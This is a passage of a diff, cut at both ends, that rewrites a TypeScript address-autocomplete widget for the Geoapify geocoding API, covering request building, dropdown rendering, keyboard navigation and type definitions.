promise and send geocoding request */ - const promise = new Promise((resolve, reject) => { - this.currentPromiseReject = reject; - - if (this.preprocessHook && typeof this.preprocessHook === 'function') { - currentValue = this.preprocessHook(currentValue); - } - - let url = this.generateUrl(currentValue); - - fetch(url) - .then((response) => { - if (response.ok) { - response.json().then(data => resolve(data)); - } else { - response.json().then(data => reject(data)); - } - }); - }); - - promise.then((data: any) => { - this.currentItems = data.features; - - if (this.currentItems && this.currentItems.length && this.suggestionsFilter && typeof this.suggestionsFilter === 'function') { - this.currentItems = this.suggestionsFilter(this.currentItems); - } - - this.notifySuggestions(this.currentItems); - - if (!this.currentItems.length) { - return; - } - - /*create a DIV element that will contain the items (values):*/ - this.autocompleteItemsElement = document.createElement("div"); - this.autocompleteItemsElement.setAttribute("class", "geoapify-autocomplete-items"); - - this.notifyOpened(); - - /* Append the DIV element as a child of the autocomplete container:*/ - this.container.appendChild(this.autocompleteItemsElement); - /* For each item in the results */ - this.currentItems.forEach((feature: any, index: number) => { - /* Create a DIV element for each element: */ - const itemElement = document.createElement("div"); - itemElement.classList.add('geoapify-autocomplete-item'); - - - if (!this.options.skipIcons) { - const iconElement = document.createElement("span"); - iconElement.classList.add('icon'); - - this.addFeatureIcon(iconElement, feature.properties.result_type, feature.properties.country_code); - - itemElement.appendChild(iconElement); - } - - const textElement = document.createElement("span"); - textElement.classList.add('address'); - - if (this.postprocessHook && typeof this.postprocessHook === 'function') { - const value = this.postprocessHook(feature); - textElement.innerHTML = this.getStyledAddressSingleValue(value, userEnteredValue); - } else { - textElement.innerHTML = this.getStyledAddress(feature.properties, userEnteredValue); - } - - itemElement.appendChild(textElement); - - itemElement.addEventListener("click", (e) => { - event.stopPropagation(); - this.setValueAndNotify(this.currentItems[index]) - }); - this.autocompleteItemsElement.appendChild(itemElement); - }); - }, (err) => { - if (!err.canceled) { - console.log(err); - } - }); - }, this.options.debounceDelay); - } - - private getStyledAddressSingleValue(value: string, currentValue: string): string { - - let displayValue = value; - - const valueIndex = (displayValue || '').toLowerCase().indexOf(currentValue.toLowerCase()); - if (valueIndex >= 0) { - displayValue = displayValue.substring(0, valueIndex) + - `${displayValue.substring(valueIndex, valueIndex + currentValue.length)}` + - displayValue.substring(valueIndex + currentValue.length); - - } - - return `${displayValue}` - } - - private getStyledAddress(featureProperties: any, currentValue: string): string { - let mainPart; - let secondaryPart; - const parts = featureProperties.formatted.split(',').map((part: string) => part.trim()); - - if (featureProperties.name) { - mainPart = parts[0]; - secondaryPart = parts.slice(1).join(', '); - } else { - const mainElements = Math.min(2, Math.max(parts.length - 2, 1)); - mainPart = parts.slice(0, mainElements).join(', '); - secondaryPart = parts.slice(mainElements).join(', '); - } - - const valueIndex = mainPart.toLowerCase().indexOf(currentValue.toLowerCase()); - if (valueIndex >= 0) { - mainPart = mainPart.substring(0, valueIndex) + - `${mainPart.substring(valueIndex, valueIndex + currentValue.length)}` + - mainPart.substring(valueIndex + currentValue.length); - - } - - return `${mainPart}${secondaryPart}` - } - - private onUserKeyPress(event: KeyboardEvent) { - if (this.autocompleteItemsElement) { - - const itemElements: HTMLCollectionOf = this.autocompleteItemsElement.getElementsByTagName("div"); - if (event.code === 'ArrowDown') { - event.preventDefault(); - - /*If the arrow DOWN key is pressed, increase the focusedItemIndex variable:*/ - this.focusedItemIndex++; - if (this.focusedItemIndex >= itemElements.length) this.focusedItemIndex = 0; - /*and and make the current item more visible:*/ - this.setActive(itemElements, this.focusedItemIndex); - } else if (event.code === 'ArrowUp') { - event.preventDefault(); - - /*If the arrow UP key is pressed, decrease the focusedItemIndex variable:*/ - this.focusedItemIndex--; - if (this.focusedItemIndex < 0) this.focusedItemIndex = (itemElements.length - 1); - /*and and make the current item more visible:*/ - this.setActive(itemElements, this.focusedItemIndex); - } else if (event.code === "Enter") { - /* If the ENTER key is pressed and value as selected, close the list*/ - event.preventDefault(); - if (this.focusedItemIndex > -1) { - this.closeDropDownList(); - } - } else if (event.code === "Escape") { - /* If the ESC key is presses, close the list */ - this.closeDropDownList(); - } - } else { - if (event.code == 'ArrowDown') { - /* Open dropdown list again */ - this.openDropdownAgain(); - } - } - } - - private setActive(items: HTMLCollectionOf, index: number) { - if (!items || !items.length) return false; - - for (var i = 0; i < items.length; i++) { - items[i].classList.remove("active"); - } - - /* Add class "autocomplete-active" to the active element*/ - items[index].classList.add("active"); - - // Change input value and notify - - if (this.postprocessHook && typeof this.postprocessHook === 'function') { - this.inputElement.value = this.postprocessHook(this.currentItems[index]); - } else { - this.inputElement.value = this.currentItems[index].properties.formatted; - } - - this.notifyValueSelected(this.currentItems[index]); - } - - - private setValueAndNotify(feature: any) { - if (this.postprocessHook && typeof this.postprocessHook === 'function') { - this.inputElement.value = this.postprocessHook(feature); - } else { - this.inputElement.value = feature.properties.formatted; - } - - - this.notifyValueSelected(feature); - - /* Close the list of autocompleted values: */ - this.closeDropDownList(); - } - - private clearFieldAndNotify(event: MouseEvent) { - event.stopPropagation(); - this.inputElement.value = ''; - this.inputClearButton.classList.remove("visible"); - - // Cancel previous request - if (this.currentPromiseReject) { - this.currentPromiseReject({ - canceled: true - }); - this.currentPromiseReject = null; - } - - // Cancel previous timeout - if (this.currentTimeout) { - window.clearTimeout(this.currentTimeout); - this.currentTimeout = null; - } - - this.closeDropDownList(); - - // notify here - this.notifyValueSelected(null); - } - - private closeDropDownList() { - if (this.autocompleteItemsElement) { - this.container.removeChild(this.autocompleteItemsElement); - this.autocompleteItemsElement = null; - this.notifyClosed(); - } - } - - private addIcon(element: HTMLElement, icon: string) { - - //FortAwesome icons 5. Licence - https://fontawesome.com/license/free - - const icons: { [key: string]: any } = { - "close": { - path: "M19 6.41L17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z", - viewbox: "0 0 24 24" - }, - "map-marker": { - path: "M172.268 501.67C26.97 291.031 0 269.413 0 192 0 85.961 85.961 0 192 0s192 85.961 192 192c0 77.413-26.97 99.031-172.268 309.67-9.535 13.774-29.93 13.773-39.464 0zM192 272c44.183 0 80-35.817 80-80s-35.817-80-80-80-80 35.817-80 80 35.817 80 80 80z", - viewbox: "0 0 384 512" - }, - "road": { - path: "M573.19 402.67l-139.79-320C428.43 71.29 417.6 64 405.68 64h-97.59l2.45 23.16c.5 4.72-3.21 8.84-7.96 8.84h-29.16c-4.75 0-8.46-4.12-7.96-8.84L267.91 64h-97.59c-11.93 0-22.76 7.29-27.73 18.67L2.8 402.67C-6.45 423.86 8.31 448 30.54 448h196.84l10.31-97.68c.86-8.14 7.72-14.32 15.91-14.32h68.8c8.19 0 15.05 6.18 15.91 14.32L348.62 448h196.84c22.23 0 36.99-24.14 27.73-45.33zM260.4 135.16a8 8 0 0 1 7.96-7.16h39.29c4.09 0 7.53 3.09 7.96 7.16l4.6 43.58c.75 7.09-4.81 13.26-11.93 13.26h-40.54c-7.13 0-12.68-6.17-11.93-13.26l4.59-43.58zM315.64 304h-55.29c-9.5 0-16.91-8.23-15.91-17.68l5.07-48c.86-8.14 7.72-14.32 15.91-14.32h45.15c8.19 0 15.05 6.18 15.91 14.32l5.07 48c1 9.45-6.41 17.68-15.91 17.68z", - viewbox: "0 0 576 512" - }, - "city": { - path: "M616 192H480V24c0-13.26-10.74-24-24-24H312c-13.26 0-24 10.74-24 24v72h-64V16c0-8.84-7.16-16-16-16h-16c-8.84 0-16 7.16-16 16v80h-64V16c0-8.84-7.16-16-16-16H80c-8.84 0-16 7.16-16 16v80H24c-13.26 0-24 10.74-24 24v360c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V216c0-13.26-10.75-24-24-24zM128 404c0 6.63-5.37 12-12 12H76c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12H76c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12H76c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm128 192c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm160 96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12V76c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm160 288c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40z", - viewbox: "0 0 640 512" - } - } - - var svgElement = document.createElementNS("http://www.w3.org/2000/svg", 'svg'); - svgElement.setAttribute('viewBox', icons[icon].viewbox); - svgElement.setAttribute('height', "24"); - - var iconElement = document.createElementNS("http://www.w3.org/2000/svg", 'path'); - iconElement.setAttribute("d", icons[icon].path); - iconElement.setAttribute('fill', 'currentColor'); - svgElement.appendChild(iconElement); - element.appendChild(svgElement); - } - - private addFeatureIcon(element: HTMLElement, type: string, countryCode: string) { - const iconMap: any = { - 'unknown': 'map-marker', - 'amenity': 'map-marker', - 'building': 'map-marker', - 'street': 'road', - 'suburb': 'city', - 'district': 'city', - 'postcode': 'city', - 'city': 'city', - 'county': 'city', - 'state': 'city' - }; - - const countryData = countiesData.find(county => countryCode && county.code.toLowerCase() === countryCode.toLowerCase()); - - if ((type === 'country') && countryData) { - element.classList.add("emoji");; - const emojiElement = document.createElement('span'); - emojiElement.innerText = countryData.emoji; - element.appendChild(emojiElement); - } else if (iconMap[type]) { - this.addIcon(element, iconMap[type]) - } else { - this.addIcon(element, 'map-marker'); - } - } - - private notifyValueSelected(feature: any) { - - // Cancel previous place details request - if (this.currentPlaceDetailsPromiseReject) { - this.currentPlaceDetailsPromiseReject({ - canceled: true - }); - this.currentPlaceDetailsPromiseReject = null; - } - - if (this.options.skipDetails || !feature) { - this.changeCallbacks.forEach(callback => callback(feature)); - } else { - const promise = new Promise((resolve, reject) => { - this.currentPlaceDetailsPromiseReject = reject; - let url = this.generatePlacesUrlUrl(feature.properties.place_id); - - fetch(url) - .then((response) => { - if (response.ok) { - response.json().then(data => resolve(data)); - } else { - response.json().then(data => reject(data)); - } - }); - }); - - - promise.then((data: any) => { - - if (!data.features.length) { - this.changeCallbacks.forEach(callback => callback(feature)); - return; - } - - const placeDetails = data.features[0]; - this.changeCallbacks.forEach(callback => callback(placeDetails)); - this.currentPlaceDetailsPromiseReject = null; - - }, (err) => { - if (!err.canceled) { - console.log(err); - } - }); - } - } - - private notifySuggestions(features: any) { - this.suggestionsChangeCallbacks.forEach(callback => callback(features)); - } - - private notifyOpened() { - this.openCallbacks.forEach(callback => callback(true)); - } - - private notifyClosed() { - this.closeCallbacks.forEach(callback => callback(false)); - } - - private openDropdownAgain() { - const event = document.createEvent('Event'); - event.initEvent('input', true, true); - this.inputElement.dispatchEvent(event); - } - - private generatePlacesUrlUrl(placeId: string): string { - let url = `${this.placeDetailsUrl}?id=${placeId}&apiKey=${this.apiKey}`; - if (this.options.lang) { - url += `&lang=${this.options.lang}`; - } - return url; - } - - private generateUrl(value: string): string { - let url = `${this.geocoderUrl}?text=${encodeURIComponent(value)}&apiKey=${this.apiKey}`; - // Add type of the location if set. Learn more about possible parameters on https://apidocs.geoapify.com/docs/geocoding/api/api - if (this.options.type) { - url += `&type=${this.options.type}`; - } - - if (this.options.limit) { - url += `&limit=${this.options.limit}`; - } - - if (this.options.lang) { - url += `&lang=${this.options.lang}`; - } - - const filters = []; - const filterByCountryCodes: ByCountryCodeOptions = this.options.filter[this.BY_COUNTRYCODE] as ByCountryCodeOptions; - const filterByCircle: ByCircleOptions = this.options.filter[this.BY_CIRCLE] as ByCircleOptions; - const filterByRect: ByRectOptions = this.options.filter[this.BY_RECT] as ByRectOptions; - - if (filterByCountryCodes && filterByCountryCodes.length) { - filters.push(`countrycode:${filterByCountryCodes.join(',').toLowerCase()}`); - } - - if (filterByCircle && this.isLatitude(filterByCircle.lat) && this.isLongitude(filterByCircle.lon) && filterByCircle.radiusMeters > 0) { - filters.push(`circle:${filterByCircle.lon},${filterByCircle.lat},${filterByCircle.radiusMeters}`); - } - - if (filterByRect && this.isLatitude(filterByRect.lat1) && this.isLongitude(filterByRect.lon1) && this.isLatitude(filterByRect.lat2) && this.isLongitude(filterByRect.lon2)) { - filters.push(`rect:${filterByRect.lon1},${filterByRect.lat1},${filterByRect.lon2},${filterByRect.lat2}`); - } - url += filters.length ? `&filter=${filters.join('|')}` : ''; - - const bias = []; - const biasByCountryCodes: ByCountryCodeOptions = this.options.bias[this.BY_COUNTRYCODE] as ByCountryCodeOptions; - const biasByCircle: ByCircleOptions = this.options.bias[this.BY_CIRCLE] as ByCircleOptions; - const biasByRect: ByRectOptions = this.options.bias[this.BY_RECT] as ByRectOptions; - const biasByProximity: ByProximityOptions = this.options.bias[this.BY_PROXIMITY] as ByProximityOptions; - - if (biasByCountryCodes && biasByCountryCodes.length) { - bias.push(`countrycode:${biasByCountryCodes.join(',').toLowerCase()}`); - } - - if (biasByCircle && this.isLatitude(biasByCircle.lat) && this.isLongitude(biasByCircle.lon) && biasByCircle.radiusMeters > 0) { - bias.push(`circle:${biasByCircle.lon},${biasByCircle.lat},${biasByCircle.radiusMeters}`); - } - - if (biasByRect && this.isLatitude(biasByRect.lat1) && this.isLongitude(biasByRect.lon1) && this.isLatitude(biasByRect.lat2) && this.isLongitude(biasByRect.lon2)) { - bias.push(`rect:${biasByRect.lon1},${biasByRect.lat1},${biasByRect.lon2},${biasByRect.lat2}`); - } - - if (biasByProximity && this.isLatitude(biasByProximity.lat) && this.isLongitude(biasByProximity.lon)) { - bias.push(`proximity:${biasByProximity.lon},${biasByProximity.lat}`); - } - - url += bias.length ? `&bias=${bias.join('|')}` : ''; - - return url; - } - - private isLatitude(num: any) { - return num !== '' && num !== null && isFinite(num) && Math.abs(num) <= 90; - } - - private isLongitude(num: any) { - return num !== '' && num !== null && isFinite(num) && Math.abs(num) <= 180; - } -} - -export interface GeocoderAutocompleteOptions { - type?: LocationType; - lang?: SupportedLanguage; - limit?: number; - placeholder?: string; - debounceDelay?: number; - - filter?: { [key: string]: ByCircleOptions | ByCountryCodeOptions | ByRectOptions }, - bias?: { [key: string]: ByCircleOptions | ByCountryCodeOptions | ByRectOptions | ByProximityOptions }, - - skipIcons?: boolean; - skipDetails?: boolean; - - // to remove in the next version - position?: GeoPosition; - countryCodes?: CountyCode[]; -} - -export interface GeoPosition { - lat: number; - lon: number; -} - -export type ByCountryCodeOptions = CountyCode[]; - -export interface ByProximityOptions { - lon: number; - lat: number; -} - -export interface ByCircleOptions { - lon: number; - lat: number; - radiusMeters: number; -} - -export interface ByRectOptions { - lon1: number; - lat1: number; - lon2: number; - lat2: number; -} - -export type LocationType = 'country' | 'state' | 'city' | 'postcode' | 'street' | 'amenity'; -export type SupportedLanguage = "ab" | "aa" | "af" | "ak" | "sq" | "am" | "ar" | "an" | "hy" | "as" | "av" | "ae" | "ay" | "az" | "bm" | "ba" | "eu" | "be" | "bn" | "bh" | "bi" | "bs" | "br" | "bg" | "my" | "ca" | "ch" | "ce" | "ny" | "zh" | "cv" | "kw" | "co" | "cr" | "hr" | "cs" | "da" | "dv" | "nl" | "en" | "eo" | "et" | "ee" | "fo" | "fj" | "fi" | "fr" | "ff" | "gl" | "ka" | "de" | "el" | "gn" | "gu" | "ht" | "ha" | "he" | "hz" | "hi" | "ho" | "hu" | "ia" | "id" | "ie" | "ga" | "ig" | "ik" | "io" | "is" | "it" | "iu" | "ja" | "jv" | "kl" | "kn" | "kr" | "ks" | "kk" | "km" | "ki" | "rw" | "ky" | "kv" | "kg" | "ko" | "ku" | "kj" | "la" | "lb" | "lg" | "li" | "ln" | "lo" | "lt" | "lu" | "lv" | "gv" | "mk" | "mg" | "ms" | "ml" | "mt" | "mi" | "mr" | "mh" | "mn" | "na" | "nv" | "nb" | "nd" | "ne" | "ng" | "nn" | "no" | "ii" | "nr" | "oc" | "oj" | "cu" | "om" | "or" | "os" | "pa" | "pi" | "fa" | "pl" | "ps" | "pt" | "qu" | "rm" | "rn" | "ro" | "ru" | "sa" | "sc" | "sd" | "se" | "sm" | "sg" | "sr" | "gd" | "sn" | "si" | "sk" | "sl" | "so" | "st" | "es" | "su" | "sw" | "ss" | "sv" | "ta" | "te" | "tg" | "th" | "ti" | "bo" | "tk" | "tl" | "tn" | "to" | "tr" | "ts" | "tt" | "tw" | "ty" | "ug" | "uk" | "ur" | "uz" | "ve" | "vi" | "vo" | "wa" | "cy" | "wo" | "fy" | "xh" | "yi" | "yo" | "za"; -export type CountyCode = "none" | "auto" | "ad" | "ae" | "af" | "ag" | "ai" | "al" | "am" | "an" | "ao" | "ap" | "aq" | "ar" | "as" | "at" | "au" | "aw" | "az" | "ba" | "bb" | "bd" | "be" | "bf" | "bg" | "bh" | "bi" | "bj" | "bm" | "bn" | "bo" | "br" | "bs" | "bt" | "bv" | "bw" | "by" | "bz" | "ca" | "cc" | "cd" | "cf" | "cg" | "ch" | "ci" | "ck" | "cl" | "cm" | "cn" | "co" | "cr" | "cu" | "cv" | "cx" | "cy" | "cz" | "de" | "dj" | "dk" | "dm" | "do" | "dz" | "ec" | "ee" | "eg" | "eh" | "er" | "es" | "et" | "eu" | "fi" | "fj" | "fk" | "fm" | "fo" | "fr" | "ga" | "gb" | "gd" | "ge" | "gf" | "gh" | "gi" | "gl" | "gm" | "gn" | "gp" | "gq" | "gr" | "gs" | "gt" | "gu" | "gw" | "gy" | "hk" | "hm" | "hn" | "hr" | "ht" | "hu" | "id" | "ie" | "il" | "in" | "io" | "iq" | "ir" | "is" | "it" | "jm" | "jo" | "jp" | "ke" | "kg" | "kh" | "ki" | "km" | "kn" | "kp" | "kr" | "kw" | "ky" | "kz" | "la" | "lb" | "lc" | "li" | "lk" | "lr" | "ls" | "lt" | "lu" | "lv" | "ly" | "ma" | "mc" | "md" | "me" | "mg" | "mh" | "mk" | "ml" | "mm" | "mn" | "mo" | "mp" | "mq" | "mr" | "ms" | "mt" | "mu" | "mv" | "mw" | "mx" | "my" | "mz" | "na" | "nc" | "ne" | "nf" | "ng" | "ni" | "nl" | "no" | "np" | "nr" | "nu" | "nz" | "om" | "pa" | "pe" | "pf" | "pg" | "ph" | "pk" | "pl" | "pm" | "pr" | "ps" | "pt" | "pw" | "py" | "qa" | "re" | "ro" | "rs" | "ru" | "rw" | "sa" | "sb" | "sc" | "sd" | "se" | "sg" | "sh" | "si" | "sj" | "sk" | "sl" | "sm" | "sn" | "so" | "sr" | "st" | "sv" | "sy" | "sz" | "tc" | "td" | "tf" | "tg" | "th" | "tj" | "tk" | "tm" | "tn" | "to" | "tr" | "tt" | "tv" | "tw" | "tz" | "ua" | "ug" | "um" | "us" | "uy" | "uz" | "va" | "vc" | "ve" | "vg" | "vi" | "vn" | "vu" | "wf" | "ws" | "ye" | "yt" | "za" | "zm" | "zw"; + +import countiesData from "./countries.json"; + +export class GeocoderAutocomplete { + + private inputElement: HTMLInputElement; + private inputClearButton: HTMLElement; + private autocompleteItemsElement: HTMLElement = null; + + /* Focused item in the autocomplete list. This variable is used to navigate with buttons */ + private focusedItemIndex: number; + + /* Current autocomplete items data (GeoJSON.Feature) */ + private currentItems: any; + + /* Active request promise reject function. To be able to cancel the promise when a new request comes */ + private currentPromiseReject: any; + + /* Active place details request promise reject function */ + private currentPlaceDetailsPromiseReject: any; + + /* We set timeout before sending a request to avoid unnecessary calls */ + private currentTimeout: number; + + private changeCallbacks: ((selectedOption: any) => any)[] = []; + private suggestionsChangeCallbacks: ((options: any[]) => any)[] = []; + private inputCallbacks: ((input: string) => any) [] = []; + private openCallbacks: ((opened: boolean) => any) [] = []; + private closeCallbacks: ((opened: boolean) => any) [] = []; + + private preprocessHook?: (value: string) => string; + private postprocessHook?: (feature: any) => string; + private suggestionsFilter?: (suggetions: any[]) => any[]; + + private geocoderUrl = "https://api.geoapify.com/v1/geocode/autocomplete"; + private placeDetailsUrl = "https://api.geoapify.com/v2/place-details"; + + private options: GeocoderAutocompleteOptions = { + limit: 5, + debounceDelay: 100 + }; + + private BY_COUNTRYCODE = 'countrycode'; + private BY_RECT = 'rect'; + private BY_CIRCLE = 'circle'; + private BY_PROXIMITY = 'proximity'; + + constructor(private container: HTMLElement, private apiKey: string, options?: GeocoderAutocompleteOptions) { + this.options = options ? { ...this.options, ...options } : this.options; + this.options.filter = this.options.filter || {}; + this.options.bias = this.options.bias || {}; + + if (this.options.countryCodes) { + this.addFilterByCountry(this.options.countryCodes); + } + + if (this.options.position) { + this.addBiasByProximity(this.options.position); + } + + // create input element + this.inputElement = document.createElement("input"); + this.inputElement.classList.add("geoapify-autocomplete-input"); + this.inputElement.setAttribute("type", "text"); + this.inputElement.setAttribute("placeholder", this.options.placeholder || "Enter an address here"); + this.container.appendChild(this.inputElement); + + // add clear button to input element + this.inputClearButton = document.createElement("div"); + this.inputClearButton.classList.add("geoapify-close-button"); + this.addIcon(this.inputClearButton, 'close'); + this.inputClearButton.addEventListener("click", this.clearFieldAndNotify.bind(this), false); + + this.container.appendChild(this.inputClearButton); + + this.inputElement.addEventListener('input', this.onUserInput.bind(this), false); + this.inputElement.addEventListener('keydown', this.onUserKeyPress.bind(this), false); + + document.addEventListener("click", (event) => { + if (event.target !== this.inputElement) { + this.closeDropDownList(); + } else if (!this.autocompleteItemsElement) { + // open dropdown list again + this.openDropdownAgain(); + } + }); + } + + public setType(type: 'country' | 'state' | 'city' | 'postcode' | 'street' | 'amenity') { + this.options.type = type; + } + + public setLang(lang: SupportedLanguage) { + this.options.lang = lang; + } + + public setCountryCodes(codes: CountyCode[]) { + console.warn("WARNING! Obsolete function called. Function setCountryCodes() has been deprecated, please use the new addFilterByCountry() function instead!"); + this.options.countryCodes = codes; + } + + public setPosition(position: GeoPosition) { + console.warn("WARNING! Obsolete function called. Function setPosition() has been deprecated, please use the new addBiasByProximity() function instead!"); + this.options.position = position; + } + + public setLimit(limit: number) { + this.options.limit = limit; + } + + public setValue(value: string) { + if (!value) { + this.inputClearButton.classList.remove("visible"); + } else { + this.inputClearButton.classList.add("visible"); + } + + this.inputElement.value = value; + } + + public addFilterByCountry(codes: ByCountryCodeOptions) { + this.options.filter[this.BY_COUNTRYCODE] = codes; + } + + public addFilterByCircle(filterByCircle: ByCircleOptions) { + this.options.filter[this.BY_CIRCLE] = filterByCircle; + } + + public addFilterByRect(filterByRect: ByRectOptions) { + this.options.filter[this.BY_RECT] = filterByRect; + } + + public clearFilters() { + this.options.filter = {}; + } + + public addBiasByCountry(codes: ByCountryCodeOptions) { + this.options.bias[this.BY_COUNTRYCODE] = codes; + } + + public addBiasByCircle(biasByCircle: ByCircleOptions) { + this.options.bias[this.BY_CIRCLE] = biasByCircle; + } + + public addBiasByRect(biasByRect: ByRectOptions) { + this.options.bias[this.BY_RECT] = biasByRect; + } + + public addBiasByProximity(biasByProximity: ByProximityOptions) { + this.options.bias[this.BY_PROXIMITY] = biasByProximity; + } + + public clearBias() { + this.options.bias = {}; + } + + public on(operation: 'select' | 'suggestions' | 'input' | 'close' | 'open', callback: (param: any) => any) { + if (operation === 'select' && this.changeCallbacks.indexOf(callback) < 0) { + this.changeCallbacks.push(callback); + } + + if (operation === 'suggestions' && this.suggestionsChangeCallbacks.indexOf(callback) < 0) { + this.suggestionsChangeCallbacks.push(callback); + } + + if (operation === 'input' && this.inputCallbacks.indexOf(callback) < 0) { + this.inputCallbacks.push(callback); + } + + if (operation === 'close' && this.closeCallbacks.indexOf(callback) < 0) { + this.closeCallbacks.push(callback); + } + + if (operation === 'open' && this.openCallbacks.indexOf(callback) < 0) { + this.openCallbacks.push(callback); + } + } + + public off(operation: 'select' | 'suggestions' | 'input' | 'close' | 'open', callback: (param: any) => any) { + if (operation === 'select' && this.changeCallbacks.indexOf(callback) >= 0) { + this.changeCallbacks.splice(this.changeCallbacks.indexOf(callback), 1); + } + + if (operation === 'suggestions' && this.suggestionsChangeCallbacks.indexOf(callback) >= 0) { + this.suggestionsChangeCallbacks.splice(this.suggestionsChangeCallbacks.indexOf(callback), 1); + } + + if (operation === 'input' && this.inputCallbacks.indexOf(callback) >= 0) { + this.inputCallbacks.splice(this.inputCallbacks.indexOf(callback), 1); + } + + if (operation === 'close' && this.closeCallbacks.indexOf(callback) >= 0) { + this.closeCallbacks.splice(this.closeCallbacks.indexOf(callback), 1); + } + + if (operation === 'open' && this.openCallbacks.indexOf(callback) >= 0) { + this.openCallbacks.splice(this.openCallbacks.indexOf(callback), 1); + } + } + + public once(operation: 'select' | 'suggestions' | 'input' | 'close' | 'open', callback: (param: any) => any) { + this.on(operation, callback); + + const current = this; + const currentListener = () => { + current.off(operation, callback); + current.off(operation, currentListener); + } + + this.on(operation, currentListener); + } + + public setSuggestionsFilter(suggestionsFilterFunc?: (suggestions: any[]) => any[]) { + this.suggestionsFilter = suggestionsFilterFunc; + } + + public setPreprocessHook(preprocessHookFunc?: (value: string) => string) { + this.preprocessHook = preprocessHookFunc; + } + + public setPostprocessHook(postprocessHookFunc?: (value: string) => string) { + this.postprocessHook = postprocessHookFunc; + } + + public isOpen(): boolean { + return !!this.autocompleteItemsElement; + } + + public close() { + this.closeDropDownList(); + } + + public open() { + if (!this.isOpen()) { + this.openDropdownAgain(); + } + } + + /* Execute a function when someone writes in the text field: */ + onUserInput(event: Event) { + let currentValue = this.inputElement.value; + let userEnteredValue = this.inputElement.value; + + this.inputCallbacks.forEach(callback => callback(currentValue)); + + /* Close any already open dropdown list */ + this.closeDropDownList(); + + this.focusedItemIndex = -1; + + // Cancel previous request + if (this.currentPromiseReject) { + this.currentPromiseReject({ + canceled: true + }); + this.currentPromiseReject = null; + } + + // Cancel previous timeout + if (this.currentTimeout) { + window.clearTimeout(this.currentTimeout); + this.currentTimeout = null; + } + + if (!currentValue) { + this.inputClearButton.classList.remove("visible"); + return false; + } + + // Show clearButton when there is a text + this.inputClearButton.classList.add("visible"); + + + this.currentTimeout = window.setTimeout(() => { + /* Create a new promise and send geocoding request */ + const promise = new Promise((resolve, reject) => { + this.currentPromiseReject = reject; + + if (this.preprocessHook && typeof this.preprocessHook === 'function') { + currentValue = this.preprocessHook(currentValue); + } + + let url = this.generateUrl(currentValue); + + fetch(url) + .then((response) => { + if (response.ok) { + response.json().then(data => resolve(data)); + } else { + response.json().then(data => reject(data)); + } + }); + }); + + promise.then((data: any) => { + this.currentItems = data.features; + + if (this.currentItems && this.currentItems.length && this.suggestionsFilter && typeof this.suggestionsFilter === 'function') { + this.currentItems = this.suggestionsFilter(this.currentItems); + } + + this.notifySuggestions(this.currentItems); + + if (!this.currentItems.length) { + return; + } + + /*create a DIV element that will contain the items (values):*/ + this.autocompleteItemsElement = document.createElement("div"); + this.autocompleteItemsElement.setAttribute("class", "geoapify-autocomplete-items"); + + this.notifyOpened(); + + /* Append the DIV element as a child of the autocomplete container:*/ + this.container.appendChild(this.autocompleteItemsElement); + /* For each item in the results */ + this.currentItems.forEach((feature: any, index: number) => { + /* Create a DIV element for each element: */ + const itemElement = document.createElement("div"); + itemElement.classList.add('geoapify-autocomplete-item'); + + + if (!this.options.skipIcons) { + const iconElement = document.createElement("span"); + iconElement.classList.add('icon'); + + this.addFeatureIcon(iconElement, feature.properties.result_type, feature.properties.country_code); + + itemElement.appendChild(iconElement); + } + + const textElement = document.createElement("span"); + textElement.classList.add('address'); + + if (this.postprocessHook && typeof this.postprocessHook === 'function') { + const value = this.postprocessHook(feature); + textElement.innerHTML = this.getStyledAddressSingleValue(value, userEnteredValue); + } else { + textElement.innerHTML = this.getStyledAddress(feature.properties, userEnteredValue); + } + + itemElement.appendChild(textElement); + + itemElement.addEventListener("click", (e) => { + event.stopPropagation(); + this.setValueAndNotify(this.currentItems[index]) + }); + this.autocompleteItemsElement.appendChild(itemElement); + }); + }, (err) => { + if (!err.canceled) { + console.log(err); + } + }); + }, this.options.debounceDelay); + } + + private getStyledAddressSingleValue(value: string, currentValue: string): string { + + let displayValue = value; + + const valueIndex = (displayValue || '').toLowerCase().indexOf(currentValue.toLowerCase()); + if (valueIndex >= 0) { + displayValue = displayValue.substring(0, valueIndex) + + `${displayValue.substring(valueIndex, valueIndex + currentValue.length)}` + + displayValue.substring(valueIndex + currentValue.length); + + } + + return `${displayValue}` + } + + private getStyledAddress(featureProperties: any, currentValue: string): string { + let mainPart; + let secondaryPart; + const parts = featureProperties.formatted.split(',').map((part: string) => part.trim()); + + if (featureProperties.name) { + mainPart = parts[0]; + secondaryPart = parts.slice(1).join(', '); + } else { + const mainElements = Math.min(2, Math.max(parts.length - 2, 1)); + mainPart = parts.slice(0, mainElements).join(', '); + secondaryPart = parts.slice(mainElements).join(', '); + } + + const valueIndex = mainPart.toLowerCase().indexOf(currentValue.toLowerCase()); + if (valueIndex >= 0) { + mainPart = mainPart.substring(0, valueIndex) 